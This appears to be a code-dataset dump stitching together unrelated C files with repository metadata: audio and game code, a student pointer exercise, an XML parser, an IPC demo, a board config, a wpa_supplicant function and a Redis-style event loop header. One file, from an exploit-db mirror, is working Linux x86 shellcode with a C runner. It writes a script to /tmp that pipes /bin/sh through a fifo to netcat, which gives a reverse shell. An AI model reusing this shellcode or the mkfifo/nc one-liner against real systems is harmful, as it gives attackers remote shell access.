SMP16_SAMPLE; typedef struct SMP16rec { int rate; // rate int command; unsigned int offset, req_len; signed short *req_buf; unsigned int add; UINT32 samples; // sample count SMP16_SAMPLE *sample_decode; // decoded info } SMP16Rec; int SMP16buffer_sh_start( struct SMP16buffer_interface *interface ); void SMP16buffer_sh_stop( void ); void SMP16buffer_request( int num, int code ); int SMP16buffer_status( int num ); void SMP16buffer_UpdateOne( int num, INT16 *sp, int length ); #endif /******************************************************************************/ #ifdef __cplusplus } #endif
f5bee87dbfe0a57ac7d6cf5ff470d2cbf8e936b2
6670791da2e1fba4973e7971e194e5667a6002b8
/platforms/lin_x86/shellcode/40872.c
7e4a94743ab370589d170d5a56d7e01103e9652a
[]
no_license
shewey/exploit-db
16b327b11299db3698d59034278f95796525b289
9cad083b49168b948b1a5ed2233dfd4b97e188ba
refs/heads/master
2021-01-12T09:52:12.523980
2016-12-11T05:01:17
2016-12-11T05:01:17
76,283,094
6
2
null
null
null
null
UTF-8
C
false
false
4,050
c
40872.c
/* ;author: Filippo "zinzloun" Bersani ;date: 05/12/2016 ;version: 1.0 ;X86 Assembly/NASM Syntax ;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit ; Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit ; Linux bb32 4.4.0-45-generic 32bit ; description: get a reverse shell executing a shell script saved in tmp that execute netcat that reverse the shell to the listener, considering that by now the default nc configuration does not permitt to execute (-e) command directly anymore this is a different approach that permitt to execute not only netcat. LIMITATION: size of the shellcode; the attacker has to have gained the privilege to execute commmand (/bin/bash) ; see comment for details global _start section .text _start: CreateFile: xor eax, eax ;zeroing xor edx, edx push eax ;NULL byte as string terminator push 0x65782e2f ;name of file to be executed /tmp/.xe push 0x706d742f mov ebx, esp ;ebx point to pushed string mov esi, esp ;save the name of the file for a later use mov al,0x8 ;create the file... mov cl,077o ;...with 77 permission in octal (to avoid 0) int 0x80 jmp CallPop WriteString: pop ecx ;get the command string to write in the file, 3rd arg mov ebx,eax ;save the returned value of the previous sys call (fd) into ebx, 2nd arg mov dl,0x09 ;now we put value $0x09 into dl... inc dl ;0x09 + 1 == 0x0A, get the bad Line feed char ;) mov byte [ecx+92],dl ;replace our R char with 0x0A * xor edx,edx mov dl,93 ;len of the buffer to write, 4th arg ** mov al,0x04 ;sys call to write the file int 0x80 mov ebx,eax ;save the returned value of the previous sys call (fd) into ebx, 2nd arg mov dl,0x09 ;now we put value $0x09 into dl... inc dl ;0x09 + 1 == 0x0A, get the bad Line feed char ;) mov byte [ecx+92],dl ;replace our R char with 0x0A * xor edx,edx mov dl,93 ;len of the buffer to write, 4th arg ** mov al,0x04 ;sys call to write the file int 0x80 CloseFile: xor eax,eax mov al, 0x6 ;close the stream file int 0x80 ExecFile: xor eax, eax push eax ;push null into the stack ;push ////bin/bash into the stack push 0x68736162 push 0x2f6e6962 push 0x2f2f2f2f mov ebx,esp ;set the 1st arg /bin/bash from the stack ;set up the args array push eax ; null push esi ; get the saved pointer to the /tmp/.xe push ebx ; pointer to /bin/bash mov ecx, esp ;set the args xor edx,edx mov al, 0xb ;sys call 11 to execute the file int 0x80 CallPop: call WriteString ;this string can be configured to execute other command too, you have only to adjust the length of the buffer (**) and the index of the char (R) to replace (*) ;according to the length of the string db "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fR" */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc0\x31\xd2\x50\x68\x2f\x2e\x78\x65\x68\x2f\x74\x6d\x70\x89\xe3\x89\xe6\xb0\x08\xb1\x3f\xcd\x80\xeb\x37\x59\x89" "\xc3\xb2\x09\xfe\xc2\x88\x51\x5c\x31\xd2\xb2\x5d\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68" "\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x56\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xc4\xff\xff\xff\x72\x6d\x20\x2d\x66" "\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f" "\x66\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x6e\x63\x20\x20\x6c\x6f" "\x63\x61\x6c\x68\x6f\x73\x74\x20\x39\x39\x39\x39\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x52"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
8989da117f273d279a0e713db32e4601e2f211cf
60a6be016eec567456a3546f31d1fd0fe85923b6
/main.c
ead3752b5c2fc5638b17e93c88bcda479827af6e
[]
no_license
PedroGaya/Agar.C
f32d0db68983cf768b0550c2b7106d2506916b67
63d0c8d925cb62e031fe939e0dada1339f5ecd07
refs/heads/master
2020-09-05T23:42:56.140100
2019-11-18T14:37:28
2019-11-18T14:37:28
220,247,717
0
0
null
null
null
null
UTF-8
C
false
false
5,794
c
main.c
#include <stdio.h> #include <stdlib.h> #include <allegro5/allegro5.h> #include <allegro5/allegro_font.h> #include <allegro5/allegro_primitives.h> #include "structs.h" #include <math.h> float sigmoid(float x) { return x / (1 + abs(x)); } void must_init(bool test, const char *description) { if (test) return; printf("couldn't initialize %s\n", description); exit(1); } int main() { must_init(al_init(), "allegro"); must_init(al_install_keyboard(), "keyboard"); must_init(al_install_mouse(), "mouse"); ALLEGRO_TIMER *timer = al_create_timer(1.0 / 60.0); // Framerate (curr. 60 FPS) must_init(timer, "timer"); ALLEGRO_EVENT_QUEUE *queue = al_create_event_queue(); must_init(queue, "queue"); al_set_new_display_option(ALLEGRO_SAMPLE_BUFFERS, 1, ALLEGRO_SUGGEST); // Screen size al_set_new_display_option(ALLEGRO_SAMPLES, 8, ALLEGRO_SUGGEST); al_set_new_bitmap_flags(ALLEGRO_MIN_LINEAR | ALLEGRO_MAG_LINEAR); ALLEGRO_DISPLAY *disp = al_create_display(1000, 600); // Screen size must_init(disp, "display"); ALLEGRO_FONT *font = al_create_builtin_font(); must_init(font, "font"); must_init(al_init_primitives_addon(), "primitives"); al_register_event_source(queue, al_get_keyboard_event_source()); al_register_event_source(queue, al_get_display_event_source(disp)); al_register_event_source(queue, al_get_timer_event_source(timer)); al_register_event_source(queue, al_get_mouse_event_source()); bool done = false; bool redraw = true; ALLEGRO_EVENT event; al_grab_mouse(disp); OBJ loaded[100] = { }; // Array with all loaded objs. OBJ PlayerOBJ = { 'P', 500, 300, 0, 0, 30, 1, 0 }; // Placeholder player_obj. OBJ CameraOBJ = { 'C', 0, 0, 0, 0, 0, 0, 0 }; // Placeholder camera_obj. OBJ FoodOBJ1 = { 'f', 800, 200, 0, 0, 50, 1, 0 }; // Placeholder food_objs. OBJ FoodOBJ2 = { 'f', 900, 400, 0, 0, 20, 1, 0 }; OBJ FoodOBJ3 = { 'f', 300, 500, 0, 0, 25, 1, 0 }; OBJ FoodOBJ4 = { 'f', 100, 400, 0, 0, 15, 1, 0 }; // Adding objs to be loaded to loaded_Array. loaded[0] = PlayerOBJ; loaded[1] = CameraOBJ; loaded[2] = FoodOBJ1; loaded[3] = FoodOBJ2; loaded[4] = FoodOBJ3; loaded[5] = FoodOBJ4; // Function to add objs to array. // void load_array(OBJ *array, int size) { // for (int i = 0; i < size; i++) { // switch (i) { // case 0: // //Player // break; // case 1: // //Camera // break; //// case 2 ... 52: // //Food // break; // case 53 ... 100: // //stuff // break; // default: // //stuff // // } // } // } #define KEY_SEEN 1 #define KEY_RELEASED 2 unsigned char key[ALLEGRO_KEY_MAX]; memset(key, 0, sizeof(key)); al_start_timer(timer); al_set_mouse_xy(disp, loaded[0].x, loaded[0].y); while (1) { al_wait_for_event(queue, &event); switch (event.type) { case ALLEGRO_EVENT_TIMER: // Things in this case run every frame if (key[ALLEGRO_KEY_ESCAPE]) done = true; // Speed increment for camera loaded[1].x = loaded[0].x - 500; loaded[1].y = loaded[0].y - 300; // Speed increment for player loaded[0].x += loaded[0].dx; loaded[0].y += loaded[0].dy; // // Border Check // if(loaded[0].x < 0) // { // loaded[0].x = 0; // //loaded[0].dx *= -1; // } // if(loaded[0].x > 10000) // { // loaded[0].x = 10000; // //loaded[0].dx *= -1; // } // if(loaded[0].y < 0) // { // loaded[0].y = 0; // //loaded[0].dy *= -1; // } // if(loaded[0].y > 10000) // { // loaded[0].y = 10000; // //loaded[0].dy *= -1; // } // Stores what keys were pressed for (int i = 0; i < ALLEGRO_KEY_MAX; i++) key[i] &= KEY_SEEN; // Collision check for (int i = 0; i < 100; i++) { for (int j = 0; j < 100; j++) { if (i != 1 && j != 1 && loaded[i].size > loaded[j].size && loaded[i].render == 1 && loaded[j].render == 1 && abs(loaded[i].x - loaded[j].x) < loaded[i].size && abs(loaded[i].y - loaded[j].y) < loaded[i].size && i != j) { loaded[j].render = 0; loaded[i].size += 3; loaded[i].score += loaded[j].size * 10; } } } redraw = true; break; case ALLEGRO_EVENT_MOUSE_AXES: // Defines mouse movement for player. loaded[0].dx = (event.mouse.x - (loaded[0].x - loaded[1].x)) * 0.02; loaded[0].dy = (event.mouse.y - (loaded[0].y - loaded[1].y)) * 0.02; break; case ALLEGRO_EVENT_KEY_DOWN: key[event.keyboard.keycode] = KEY_SEEN | KEY_RELEASED; break; case ALLEGRO_EVENT_KEY_UP: key[event.keyboard.keycode] &= KEY_RELEASED; break; case ALLEGRO_EVENT_DISPLAY_CLOSE: done = true; break; } if (done) break; // Drawing function. if (redraw && al_is_event_queue_empty(queue)) { al_clear_to_color(al_map_rgb(255, 255, 255)); for (int i = 0; i < 100; i++) { // Draws objects depending on their ID and position. switch (loaded[i].id) { case ('f'): if (loaded[i].render) al_draw_filled_circle(loaded[i].x - loaded[1].x, loaded[i].y - loaded[1].y, loaded[i].size, al_map_rgb(255, 0, 0)); break; case ('P'): if (loaded[i].render) al_draw_filled_circle(loaded[i].x - loaded[1].x, loaded[i].y - loaded[1].y, loaded[i].size, al_map_rgb(0, 255, 255)); break; } } al_draw_textf(font, al_map_rgb(0, 0, 0), 10, 0, 0, "Score: %d", loaded[0].score); al_flip_display(); redraw = false; } } al_destroy_font(font); al_destroy_display(disp); al_destroy_timer(timer); al_destroy_event_queue(queue); return 0; }
05ddb9af5085eb7d1824391e84908ae439662c43
14f445a820d139471b11872685538d56713e6edd
/Ex1_Test/main.c
fb18618ca5a08c19545fcea4bede73f6a39ac799
[]
no_license
PariiDan/C_Learn
3815811556a36ae2f9678c4c6220cd250e6f5581
51390e4bfbf83f638612c286dc6e545e3dc2ce02
refs/heads/master
2020-12-21T17:39:08.663846
2020-02-02T11:41:08
2020-02-02T11:41:08
236,507,128
0
0
null
null
null
null
UTF-8
C
false
false
1,947
c
main.c
#include <stdio.h> void maxim(int *ptr_y[10]); void minim(int *ptr_z[10]); int main() { int numbers[10]; int *ptr; ptr=numbers; printf("Exercitul 1 a) \n"); printf("Introduceti primul numar : "); scanf("%d",ptr+0); printf("Introduceti al doilea numar : "); scanf("%d",ptr+1); if ( ptr[0]<ptr[1]){ printf("Al doilea numar : %d , este mai mare ca primul : %d.",ptr[1],ptr[0]); } else if (ptr[0]==ptr[1]){ printf("Numerele sunt egale."); } else { printf("Primul numar : %d , este mai mare decat al doilea %d.",ptr[0],ptr[1]); } ptr[0],ptr[1]= 0; maxim(ptr); minim(ptr); return 0; } void maxim(int *ptr_y[10]) { int *ptr1; ptr1=ptr_y; printf("\nExercitul 1 b) \n"); printf("Introduceti primul numar : "); scanf("%d", ptr1); printf("Introduceti al doilea numar : "); scanf("%d", ptr1+1); printf("Introduceti al treilea numar : "); scanf("%d", ptr1+2); if (ptr1[0] > ptr1[1] & ptr1[0] > ptr1[2]) { printf("%d este cel mai mare numar", ptr1[0]); } else if (ptr1[2] > ptr1[1] & ptr1[2] > ptr1[0]) { printf("%d este cel mai mare numar", ptr1[2]); } else if (ptr1[1] > ptr1[0] & ptr1[1] > ptr1[2]) { printf("%d este cel mai mare numar", ptr1[1]); } } void minim(int *ptr_z[10]) { int *ptr1; ptr1=ptr_z; printf("\nExercitul 1 c) \n"); printf("Introduceti primul numar : "); scanf("%d", ptr1); printf("Introduceti al doilea numar : "); scanf("%d", ptr1+1); printf("Introduceti al treilea numar : "); scanf("%d", ptr1+2); if (ptr1[0] < ptr1[1] & ptr1[0] < ptr1[2]) { printf("%d este cel mai mic numar", ptr1[0]); } else if (ptr1[2] < ptr1[1] & ptr1[2] < ptr1[0]) { printf("%d este cel mai mic numar", ptr1[2]); } else if (ptr1[1] < ptr1[0] & ptr1[1] < ptr1[2]) { printf("%d este cel mai mic numar", ptr1[1]); } }
5dffb028ec3b62fa79ad4c8d101cf94399d8e43e
771fed44a0569359d4cac402e65a6b14bf3ff5c4
/Server/xml_analyse.h
dd85d564fb4940af2f640d900b271babe4d3d832
[]
no_license
xusongqi/EC_Demo
6bb8084fcae7161ebd8f2c0e1056a5f28a36c040
7ad317117928337c957d8acb16c1d29b4bdd4d8e
refs/heads/master
2016-09-05T13:12:53.442686
2014-06-17T01:59:22
2014-06-17T01:59:22
19,803,324
1
1
null
null
null
null
UTF-8
C
false
false
1,642
h
xml_analyse.h
/* * Author: xusongqi@live.com * * Created Time: 2014年05月31日 星期六 11时17分15秒 * * FileName: xml_analyse.h * * Description: -lxml2 * */ #ifndef _XML_ANALYSE_H_ #define _XML_ANALYSE_H_ #include "EC_include.h" #define ERRX_READ_FILE 0x0001 //读取xml错误 #define ERRX_GET_ELEMENT 0x0010 //获取元素错误 #define ERRX_INFO_NOT_MATCH 0x0100 //文件信息不匹配 #define ERRX_HEAD_NOT_MATCH 0x1000 //信息头不匹配 int msg_analyse(const char * xml_msg, int msg_len); int msg_analyse(const char * xml_msg, int msg_len) { char n = 0; //子节点计数器 xmlDocPtr xml_fd = NULL; //xml描述符 xmlNodePtr xml_root = NULL, //xml的root节点 curNode = NULL; //xml的子节点 xmlKeepBlanksDefault(0);//忽视xml中的空格,避免读出node = text的空节点 /*读取msg内容*/ xml_fd = xmlParseMemory(xml_msg, msg_len); if(xml_fd == NULL) { printf("read file error\n"); return ERRX_READ_FILE; } /*获取msg中的root元素*/ xml_root = xmlDocGetRootElement(xml_fd); if(xml_root == NULL) { printf("get element error\n"); return ERRX_GET_ELEMENT; } /* 对信息头(root元素)进行匹配 * * xml_root->name类型为xmlChar,本质上是unsigned char * */ if(!xmlStrcmp(xml_root->name, BAD_CAST "login") ) { printf("login\n"); //login(); } else if(!xmlStrcmp(xml_root->name, BAD_CAST "sendmsg") ) { printf("sendmsg\n"); //recv(); } else if(!xmlStrcmp(xml_root->name, BAD_CAST "logout") ) { printf("logout\n"); //logout(); } else { return ERRX_HEAD_NOT_MATCH;} xmlFreeDoc(xml_fd); xmlCleanupParser(); return 0; } #endif
154aac10005b70440fec7c8a8efc8d5b9292e552
b00601a8e049c11e9d1391cdfccf25a0db83cc2f
/main.c
cb245226c0b9fb06e896fbe953a051f96a125422
[]
no_license
WangsanmuIsWangsen/OS-test1
4e0891db44c52bded058f47feeca2b8c53f1bc02
91768554b618043025d76a3a865bd3e72e29f04c
refs/heads/master
2020-05-07T13:56:03.092085
2019-04-10T11:43:51
2019-04-10T11:43:51
180,569,496
0
0
null
null
null
null
UTF-8
C
false
false
1,221
c
main.c
#include "header.h" int main(void) { /*共享内存的设置*/ int shmid1, shmid2; //分配共享内存块1 shmid1 = shmget((key_t)1234, sizeof(struct share), 0666 | IPC_CREAT); //分配共享内存块2 shmid2 = shmget((key_t)1111, sizeof(struct share), 0666 | IPC_CREAT); /*创建4个信号灯,*/ int semid1, semid2; union semun arg; semid1 = semget((key_t)7, 2, IPC_CREAT | 0666); //信号量赋初值 arg.val = 1; semctl(semid1, 0, SETVAL, arg); arg.val = 0; semctl(semid1, 1, SETVAL, arg); semid2 = semget((key_t)10, 2, IPC_CREAT | 0666); arg.val = 1; semctl(semid2, 0, SETVAL, arg); arg.val = 0; semctl(semid2, 1, SETVAL, arg); int pid1, pid2, pid3; if ((pid1 = fork()) == 0) { execv("./get", NULL); } else if ((pid2 = fork()) == 0) { execv("./copytobuf", NULL); } else if (pid3 = fork() == 0) { execv("./put", NULL); } else { /*等待退出*/ waitpid(pid1, NULL, 0); waitpid(pid2, NULL, 0); waitpid(pid3, NULL, 0); /*删除信号灯&共享内存*/ semctl(semid1, 1, IPC_RMID, 0); semctl(semid2, 1, IPC_RMID, 0); shmctl(shmid1, IPC_RMID, 0); shmctl(shmid2, IPC_RMID, 0); } }
9d837918affe89e44cba85a97b54977de2ce8700
83b8b30ebb633eecd29ca0a7a20cc43a293c9333
/ports/nrf/boards/itsybitsy_nrf52840_express/mpconfigboard.h
47220bb474809230d897de5fb79d35d4ff4c5db5
[ "MIT", "GPL-1.0-or-later" ]
permissive
adafruit/circuitpython
430ec895149d1eb814b505db39b4977a35ee88a7
506dca71b0cbb7af749bb51f86b01021db5483b3
refs/heads/main
2023-08-21T16:30:46.781068
2023-08-20T00:39:44
2023-08-20T00:39:44
66,166,069
3,806
1,560
MIT
2023-09-14T19:23:51
2016-08-20T20:10:40
C
UTF-8
C
false
false
1,405
h
mpconfigboard.h
#include "nrfx/hal/nrf_gpio.h" #define MICROPY_HW_BOARD_NAME "Adafruit ItsyBitsy nRF52840 Express" #define MICROPY_HW_MCU_NAME "nRF52840" #define MICROPY_HW_LED_STATUS (&pin_P0_06) #define MICROPY_HW_APA102_MOSI (&pin_P0_08) #define MICROPY_HW_APA102_SCK (&pin_P1_09) #if QSPI_FLASH_FILESYSTEM #define MICROPY_QSPI_DATA0 NRF_GPIO_PIN_MAP(0, 21) #define MICROPY_QSPI_DATA1 NRF_GPIO_PIN_MAP(0, 22) #define MICROPY_QSPI_DATA2 NRF_GPIO_PIN_MAP(1, 00) #define MICROPY_QSPI_DATA3 NRF_GPIO_PIN_MAP(0, 17) #define MICROPY_QSPI_SCK NRF_GPIO_PIN_MAP(0, 19) #define MICROPY_QSPI_CS NRF_GPIO_PIN_MAP(0, 23) #endif #if SPI_FLASH_FILESYSTEM #define SPI_FLASH_MOSI_PIN &pin_P0_21 #define SPI_FLASH_MISO_PIN &pin_P0_22 #define SPI_FLASH_SCK_PIN &pin_P0_19 #define SPI_FLASH_CS_PIN &pin_P0_23 #endif #define CIRCUITPY_INTERNAL_NVM_SIZE (4096) #define BOARD_FLASH_SIZE (FLASH_SIZE - 0x4000 - CIRCUITPY_INTERNAL_NVM_SIZE) #define BOARD_HAS_CRYSTAL 1 #define DEFAULT_I2C_BUS_SCL (&pin_P0_14) #define DEFAULT_I2C_BUS_SDA (&pin_P0_16) #define DEFAULT_SPI_BUS_SCK (&pin_P0_13) #define DEFAULT_SPI_BUS_MOSI (&pin_P0_15) #define DEFAULT_SPI_BUS_MISO (&pin_P0_20) #define DEFAULT_UART_BUS_RX (&pin_P0_25) #define DEFAULT_UART_BUS_TX (&pin_P0_24)
8cb2af3739a91548f5056789f601f8f6af650855
976f5e0b583c3f3a87a142187b9a2b2a5ae9cf6f
/source/freebsd/contrib/wpa/src/p2p/extr_p2p_go_neg.c_p2p_check_pref_chan_recv.c
722af41ca0acec5c0ec9262c8396a2c21e43e622
[]
no_license
isabella232/AnghaBench
7ba90823cf8c0dd25a803d1688500eec91d1cf4e
9a5f60cdc907a0475090eef45e5be43392c25132
refs/heads/master
2023-04-20T09:05:33.024569
2021-05-07T18:36:26
2021-05-07T18:36:26
null
0
0
null
null
null
null
UTF-8
C
false
false
2,248
c
extr_p2p_go_neg.c_p2p_check_pref_chan_recv.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef void* u8 ; struct p2p_message {int pref_freq_list_len; int /*<<< orphan*/ * pref_freq_list; } ; struct p2p_device {int dummy; } ; struct p2p_data {TYPE_1__* cfg; int /*<<< orphan*/ channels; void* op_channel; void* op_reg_class; } ; struct p2p_channels {int dummy; } ; struct TYPE_2__ {int /*<<< orphan*/ channels; } ; /* Variables and functions */ int /*<<< orphan*/ os_memcpy (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int) ; unsigned int p2p_channel_to_freq (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ p2p_dbg (struct p2p_data*,char*,...) ; scalar_t__ p2p_freq_to_channel (unsigned int,void**,void**) ; __attribute__((used)) static void p2p_check_pref_chan_recv(struct p2p_data *p2p, int go, struct p2p_device *dev, struct p2p_message *msg, unsigned freq_list[], unsigned int size) { u8 op_class, op_channel; unsigned int oper_freq = 0, i, j; int found = 0; /* * Peer device supports a Preferred Frequency List. * Search for a common channel in the preferred frequency lists * of both peer and local devices. */ for (i = 0; i < size && !found; i++) { for (j = 2; j < (msg->pref_freq_list_len / 2); j++) { oper_freq = p2p_channel_to_freq( msg->pref_freq_list[2 * j], msg->pref_freq_list[2 * j + 1]); if (freq_list[i] != oper_freq) continue; if (p2p_freq_to_channel(oper_freq, &op_class, &op_channel) < 0) continue; /* cannot happen */ p2p->op_reg_class = op_class; p2p->op_channel = op_channel; os_memcpy(&p2p->channels, &p2p->cfg->channels, sizeof(struct p2p_channels)); found = 1; break; } } if (found) { p2p_dbg(p2p, "Freq %d MHz is a common preferred channel for both peer and local, use it as operating channel", oper_freq); } else { p2p_dbg(p2p, "No common preferred channels found!"); } }
9245767a0732ffaf722c669fc45c325fc55aedd1
533831c307cebc28be71d779247ff4d664e66a3a
/xyzy/src/ae.h
abdca403857ec8a8ee375e6728d89f786d381835
[]
no_license
top91001/events
1f2cf4d129e427282505379d9fa4eea918361ca5
1a5577755418e236ff2f8898bc2daa335f77852a
refs/heads/main
2023-07-20T09:24:08.204752
2021-09-06T11:02:15
2021-09-06T11:02:15
403,577,590
2
0
null
null
null
null
UTF-8
C
false
false
7,936
h
ae.h
/*事件循环器,基本完全照搬自redis的源码,做了少量修改(不是优化,redis的源码写的很好)修改了其内存管理的部分,为了少依赖其他文件 主要处理两类事件,文件事件和时间事件 文件事件的底层(IO复用层)使用的是系统的epoll或kqueue或evport等 时间事件即定时事件,负责定时任务的处理 */ #ifndef __TSAE_H__ #define __TSAE_H__ #ifdef __linux__ #include <linux/version.h> #include <features.h> #endif //根据操作系统为IO复用层选择使用epoll或者kqueue或者evport或者select。这部分宏判断本来在config.h中。为便于使用,我摘抄到此---------------------------------------------------- #ifdef __linux__ #define TOPS_AE_EPOLL 1 #endif //epoll可用,如果用linux系统编译,则ae.c中会include “ae_epoll.c” #if (defined(__APPLE__) && defined(MAC_OS_X_VERSION_10_6)) || defined(__FreeBSD__) || defined(__OpenBSD__) || defined (__NetBSD__) #define TOPS_AE__KQUEUE 1 #endif//kqueue可用 #ifdef __sun #include <sys/feature_tests.h> #ifdef _DTRACE_VERSION #define TOPS_AE__EVPORT 1 #endif #endif //evport可用 //-----------------------------选择使用epoll或者kqueue或者evport或者select------------------------------------------------------- #include <time.h> //定义一部分标志 #define AE_OK 0 //一般操作成功返回0 #define AE_ERR -1 //一般情况下操作失败时返回-1 #define AE_NONE 0 /* 没有注册事件*/ #define AE_READABLE 1 //可读 #define AE_WRITABLE 2 //可写 /* 一般情况下,Redis会先处理读事件(AE_READABLE),再处理写事件(AE_WRITABLE)。 这个顺序安排其实也算是一点小优化,先读后写可以让一个请求的处理和回包都是在同一次循环里面,使得请求可以尽快地回包, 如果某个fd的mask包含了AE_BARRIER,那它的处理顺序会是先写后读。 */ #define AE_BARRIER 4 //规定先写后读的处理顺序 /* 下面标志位主要用于eventLoop.flags */ #define AE_FILE_EVENTS 1 //文件事件。(1<<0)就是1 #define AE_TIME_EVENTS 2 //时间事件。源码中写的是(1<<1)这样写为了易读,一看就知道是第二位置1 #define AE_ALL_EVENTS 3 //全部事件:(文件|时间)。源码中写的是(AE_FILE_EVENTS|AE_TIME_EVENTS) #define AE_DONT_WAIT 4 //是否阻塞进程,设置了此标志位的话就表示不阻塞而立即返回(1<<2) #define AE_CALL_BEFORE_SLEEP 8//阻塞前是否调用eventLoop.beforesleep钩子函数(1<<3) #define AE_CALL_AFTER_SLEEP 16//阻塞后是否调用eventLoop.aftersleep钩子函数(1<<4) #define AE_NOMORE -1 #define AE_DELETED_EVENT_ID -1 /* Macros */ #define AE_NOTUSED(V) ((void) V) struct aeEventLoop; /* 下面结构体中要用到的函数指针类型*/ typedef void aeFileProc(struct aeEventLoop *eventLoop, int fd, void *clientData, int mask);//读写文件函数 typedef int aeTimeProc(struct aeEventLoop *eventLoop, long long id, void *clientData);//时间事件函数 typedef void aeEventFinalizerProc(struct aeEventLoop *eventLoop, void *clientData);//时间终止事件函数 typedef void aeBeforeSleepProc(struct aeEventLoop *eventLoop);//阻塞前后钩子函数 /* 一个文件描述符上已注册的文件事件。 aeFileEvent中没有记录fd,这是因为POSIX对文件描述符有以下约束: 1、fd=0、1、2的描述符用于标准输入、输出和错误处理 2、每次新打开的描述符必须使用当前进程中最小可用的文件描述符 Redis源码中充分利用这些特点,定义了一个数组,即:下面aeEventLoop结构体中的*events 用来存储已注册的文件事件,数组的索引就是文件描述符。 */ typedef struct aeFileEvent { int mask;/*已注册的文件事件类型: AE_(READABLE|WRITABLE|BARRIER) 通过类似下面的语句转换成系统事件: if (mask & AE_READABLE) ee.events |= EPOLLIN;*/ aeFileProc *rfileProc;//AE_READABLE事件处理函数 aeFileProc *wfileProc;//AE_WRITABLE事件处理函数 void *clientData;//附加数据 } aeFileEvent; /* 一个时间事件的信息 */ typedef struct aeTimeEvent { long long id; //时间事件的id long when_sec; //时间事件下一次执行的秒数 long when_ms; //毫秒数 aeTimeProc *timeProc;//时间事件处理函数 aeEventFinalizerProc *finalizerProc;//时间事件终结函数,发生在该节点被删除时 void *clientData;//客户端传入的附加数据 struct aeTimeEvent *prev;//前一个时间事件 struct aeTimeEvent *next;//后一个时间事件 int refcount; /* 引用计数,防止在递归时间事件调用中释放计时器事件 */ } aeTimeEvent; /* 一个已就绪的事件 */ typedef struct aeFiredEvent { int fd;//产生事件的文件描述符 int mask;//产生的事件类型 } aeFiredEvent; /* 事件循环器,负责管理事件 */ typedef struct aeEventLoop { int maxfd; //当前已注册的最大文件描述符 int setsize; //该事件循环器允许监听的最大文件描述符 long long timeEventNextId; //下一个时间事件id time_t lastTime;//上一次执行时间事件的时间,用于判断是否发生系统时钟偏移 aeFileEvent *events; //已注册的文件事件表。数组的索引就是文件描述符 aeFiredEvent *fired; //已就绪的事件表,等待事件循环器处理 aeTimeEvent *timeEventHead;//时间事件表的头节点指针 int stop;//事件循环器是否停止 void *apidata; //存放用于IO复用层的附加数据 aeBeforeSleepProc *beforesleep;//进程阻塞前调用的钩子函数 aeBeforeSleepProc *aftersleep;//进程阻塞后调用的钩子函数 /* 标志位:AE_FILE_EVENTS、AE_TIME_EVENTS、AE_ALL_EVENTS、AE_DONT_WAIT、AE_CALL_BEFORE_SLEEP、AE_CALL_AFTER_SLEEP */ int flags; // } aeEventLoop; /* 循环器函数集 */ aeEventLoop *aeCreateEventLoop(int setsize);//创建并初始化事件循环器,返回新创建的事件循环器指针 void aeDeleteEventLoop(aeEventLoop *eventLoop);//程序结束前删除事件循环器 void aeStop(aeEventLoop *eventLoop);//设置事件循环器停止运行标志 //为指定的fd添加mask对应的文件事件处理函数 int aeCreateFileEvent(aeEventLoop *eventLoop, int fd, int mask,aeFileProc *proc, void *clientData); //为指定的fd删除mask对应的事件处理函数 void aeDeleteFileEvent(aeEventLoop *eventLoop, int fd, int mask); //获取指定的fd已经注册的事件mask标志位 int aeGetFileEvents(aeEventLoop *eventLoop, int fd); //向循环器中时间事件链表添加新节点 long long aeCreateTimeEvent(aeEventLoop *eventLoop, long long milliseconds,aeTimeProc *proc, void *clientData,aeEventFinalizerProc *finalizerProc); //标记删除时间事件,并不真正执行删除操作 int aeDeleteTimeEvent(aeEventLoop *eventLoop, long long id); //处理时间循环器中已经就绪的事件 int aeProcessEvents(aeEventLoop *eventLoop, int flags); int aeWait(int fd, int mask, long long milliseconds); void aeMain(aeEventLoop *eventLoop);//循环调用aeProcessEvents char *aeGetApiName(void);//获取循环器所使用的IO复用层名称 //为循环器指定阻塞前钩子函数 void aeSetBeforeSleepProc(aeEventLoop *eventLoop, aeBeforeSleepProc *beforesleep); //为循环器指定阻塞后钩子函数 void aeSetAfterSleepProc(aeEventLoop *eventLoop, aeBeforeSleepProc *aftersleep); // int aeGetSetSize(aeEventLoop *eventLoop);//获取为该事件循环器设置的允许监听的最大文件描述符 int aeResizeSetSize(aeEventLoop *eventLoop, int setsize);//为循环器重置允许监听的最大文件描述符 void aeSetDontWait(aeEventLoop *eventLoop, int noWait);//为循环器设置是否阻塞标志位 void aeGetTime(long *seconds, long *milliseconds);//获取当前精确时间(距1970年1月1日)的秒数+毫秒数 #endif
cabeb05d0cd75b1afb256c5c9ba3e5d7e9a5a777
b7bcaf703afbdb3355cdb338b19b6a7112d784a4
/search.c
04014ebdda304533870c7e2e2ce6fb62fd194612
[]
no_license
mtzguido/ice
42f02b1787526fd65e6d5ad77fec41350cc12685
e123127f7e46c037ee430f0b99dd060551980571
refs/heads/master
2020-05-29T21:27:57.826340
2015-03-01T20:49:29
2015-03-03T21:33:42
17,457,936
0
0
null
null
null
null
UTF-8
C
false
false
9,007
